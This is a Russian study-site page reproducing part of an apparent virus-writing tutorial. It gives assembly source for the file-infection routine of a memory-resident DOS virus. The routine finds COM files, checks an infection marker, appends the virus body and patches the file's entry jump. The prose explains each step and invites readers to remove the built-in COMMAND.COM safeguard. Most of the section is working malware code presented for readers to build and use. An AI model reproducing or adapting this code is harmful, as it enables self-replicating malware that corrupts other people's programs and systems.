Студопедия

КАТЕГОРИИ:


Архитектура-(3434)Астрономия-(809)Биология-(7483)Биотехнологии-(1457)Военное дело-(14632)Высокие технологии-(1363)География-(913)Геология-(1438)Государство-(451)Демография-(1065)Дом-(47672)Журналистика и СМИ-(912)Изобретательство-(14524)Иностранные языки-(4268)Информатика-(17799)Искусство-(1338)История-(13644)Компьютеры-(11121)Косметика-(55)Кулинария-(373)Культура-(8427)Лингвистика-(374)Литература-(1642)Маркетинг-(23702)Математика-(16968)Машиностроение-(1700)Медицина-(12668)Менеджмент-(24684)Механика-(15423)Науковедение-(506)Образование-(11852)Охрана труда-(3308)Педагогика-(5571)Полиграфия-(1312)Политика-(7869)Право-(5454)Приборостроение-(1369)Программирование-(2801)Производство-(97182)Промышленность-(8706)Психология-(18388)Религия-(3217)Связь-(10668)Сельское хозяйство-(299)Социология-(6455)Спорт-(42831)Строительство-(4793)Торговля-(5050)Транспорт-(2929)Туризм-(1568)Физика-(3942)Философия-(17015)Финансы-(26596)Химия-(22929)Экология-(12095)Экономика-(9961)Электроника-(8441)Электротехника-(4623)Энергетика-(12629)Юриспруденция-(1492)Ядерная техника-(1748)

Заражаем COM - файл




Пишем резидентную часть

Начало резидентной части мы создали в первых пунктах главы (см п. 2.5). А теперь просто продолжим, и допишем до конца "заразную" часть вирусной программы:

infect: push cs;DS = CS... pop ds mov ax,ds;TSR - коррекция sub ax,11h;DS... mov ds,ax cmp tg_13h,0;INT 13h;выполняется? je cs:all_right;Нет... jmp cs:exit_zarasa;Да - на выход

Сразу за меткой "infect" мы записали команды которые корректируют содержимое DS при работе в резидентном режиме. Если этого не сделать, то относительный адрес каждой ячейки памяти придется уменьшать на 110h (см п. 2.5).Далее вирус проверяет значение переменной "tg_13h". Дело в том, что резидентный вирус обязательно должен заражать файлы, находясь в памяти, и поэтому без обращения к диску в резидентном режиме нам не обойтись. Такое обращение, естественно, должно происходить только в те моменты,когда никакие другие программы не работают с диском. Если это условие не соблюдается, непременно возникнет программный конфликт, что приведет к неприятным последствиям. Особенно это относится к тем случаям,когда на машине установлен какой-нибудь кэш (например, SMARTDRIVE или HYPERDISK). В этом случае может случиться так, что вирус и кэш попробуют обратиться к диску одновременно, а это недопустимо!

Решить проблему помогает введение переменной "tg_13h". Она принимает значение " 1 ", когда к диску выполняется обращение, или значение " 0 ", если в данный момент обращения к диску нет. Для инициализации переменной используется специальный "фильтр" прерывания Int 13h, который будет описан ниже.

Итак, если " tg_13h " равна " 1 ",вирус возвращает управление прерванной программе,в противном случае работа вирусного кода продолжается.

В случае, если прерывание Int 13h не выполняется, можно заняться поиском подходящего COM - файла и его заражением. Этот процесс практически не отличается от действий нерезидентного вируса, и поэтому мы просто используем разработанный ранее блок, не останавливаясь подробно на его работе:

all_right: mov ah,2fh;Получим текущую int 21h;DTA (ES: BX) mov bp,bx mov cx,80h;Сохраним эту lea si,dta_save;DTA... mov di,bp save_dta: mov al,byte ptr es:[di] mov [si],al inc si inc di loop cs:save_dta find_first:;Найдем первый mov ah,4eh;файл... mov cx,00100111b lea dx,maska int 21h jnc cs:retry_2 jmp restore_dta find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл jnc cs:retry_1 jmp cs:restore_dta retry_1: mov ah,4fh;Найдем следую- int 21h;щий... jnc cs:retry_2 jmp cs:restore_dta retry_2: mov cx,12;Сотрем старое lea si,fn;имя в буфере destroy_name: mov byte ptr [si],0 inc si loop cs:destroy_name xor si,si;И запишем туда mov di,bp;новое... copy_name: mov al,byte ptr es:[di+1eh] cmp al,0 je cs:check_command mov byte ptr fn[si],al inc si inc di jmp cs:copy_name check_command:;Проверим, не;является - ли call cs:search;файл командным cmp inside,1;процессором... je cs:retry_1 mov ax,3d02h;Откроем этот lea dx,fn;файл... int 21h jnc cs:save_bytes jmp cs:restore_dta save_bytes:;Считаем первые mov bx,ax;три байта mov ah,3fh mov cx,3 lea dx,old_bytes int 21h jnc cs:found_size jmp cs:close found_size:mov di,bp cmp word ptr es:[di+01ch],0 jne cs:more_64K;Найдем его раз- mov ax,es:[di+01ah];мер... count_size:mov si,ax;Вычислим;смещения... cmp ax,64000 jna cs:smallest more_64K: jmp cs:find_next smallest: test ax,000fh jz cs:krat_16 or ax,000fh inc ax krat_16: mov di,ax sub ax,3 mov byte ptr new_bytes[1],al mov byte ptr new_bytes[2],ah mov ax,di mov cl,4 shr ax,cl dec ax mov byte ptr add_to_ds,al mov byte ptr add_to_ds+1,ah mov ax,4200h;Считаем послед- xor cx,cx;ний байт... dec si mov dx,si int 21h jnc cs:read_last jmp cs:close read_last: mov ah,3fh mov cx,1 lea dx,last int 21h jc cs:close cmp last,'1';Индикатор зара- jne cs:write_vir;жения... jmp cs:find_next write_vir: mov ax,4200h;Запишем начало xor cx,cx;вируса... mov dx,di int 21h jc cs:close mov ah,40h mov cx,2 lea dx,end_file int 21h jc cs:close;И остальную mov ah,40h;часть... mov cx,vir_len - 2 lea dx,vir + 2 int 21h jc cs:close write_bytes:;Запишем первые mov ax,4200h;три байта xor cx,cx xor dx,dx int 21h jc cs:close mov ah,40h mov cx,3 lea dx,new_bytes int 21h close: mov ah,3eh;Закроем зара- int 21h;женный файл restore_dta: mov cx,80h;Восстановим DTA lea si,dta_save mov di,bp dta_fresh: mov al,[si] mov byte ptr es:[di],al inc si inc di loop cs:dta_fresh

Как видите, в созданный ранее фрагмент были внесены некоторые изменения, в которых мы сейчас и разберемся.

Поскольку вирус будет заражать файлы в резидентном режиме, он будет пользоваться DTA активной в данный момент программы,что приведет к ее разрушению. Чтобы этого не происходило, нужно сохранить ее в области данных вируса, а после завершения работы вируса - восстановить. Получить адрес текущей DTA можно с помощью функции DOS 2Fh, которая и используется вирусом.

Следующее отличие - наш вирус проверяет, является - ли найденный файл командным процессором COMMAND.COM. Для этого используется процедура SEARCH, которая возвращает INSIDE = 1, если найден командный процессор, или INSIDE = 0 - в противном случае.

Так как иногда COM-файлы на самом деле имеют EXE - формат, их размер может превышать 64 Кбайта, и следует проверить, не является - ли найденный нами файл именно таким, иначе при заражении он будет безнадежно испорчен. С этой целью вирус считывает из DTA слово по смещению 01Ch, и сравнивает его с нулем. Если это слово равно нулю,размер файла не превышает 64 Кбайт,и его можно заражать. Кроме того, неплохо было бы проверить формат файла. Для этого нужно проверить его первые два байта. Если мы имеем дело с EXE - файлом, то указанные байты содержат ASCII - коды символов " M " и " Z ". Думаю, читатель сам при желании допишет несколько необходимых для этого команд.

И последнее - мы выяснили, (см. п. 2.5) что первыми двумя байтами, которые должны записываться в конец файла, должна быть команда перехода на секцию инициализации вируса. Эту функцию выполняют команды, записанные за меткой " write_vir ". Сам код команды перехода хранится в области " end_file ".

* Не спешите торжествовать по поводу того, что автор этой книги не смог сделать вирус, заражающий COMMAND.COM, и поэтому, вероятно, является "чайником". На самом деле вирус отлично работает с командным процессором и при этом не глюкует. Защита введена только для вашего же блага, так как заражение COMMAND.COM " нестандартным " вирусом - крайне неприятное событие. Подготовленный читатель без труда снимет такую " защиту ".




Поделиться с друзьями:


Дата добавления: 2014-11-20; Просмотров: 390; Нарушение авторских прав?; Мы поможем в написании вашей работы!


Нам важно ваше мнение! Был ли полезен опубликованный материал? Да | Нет



studopedia.su - Студопедия (2013 - 2024) год. Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав! Последнее добавление




Генерация страницы за: 0.01 сек.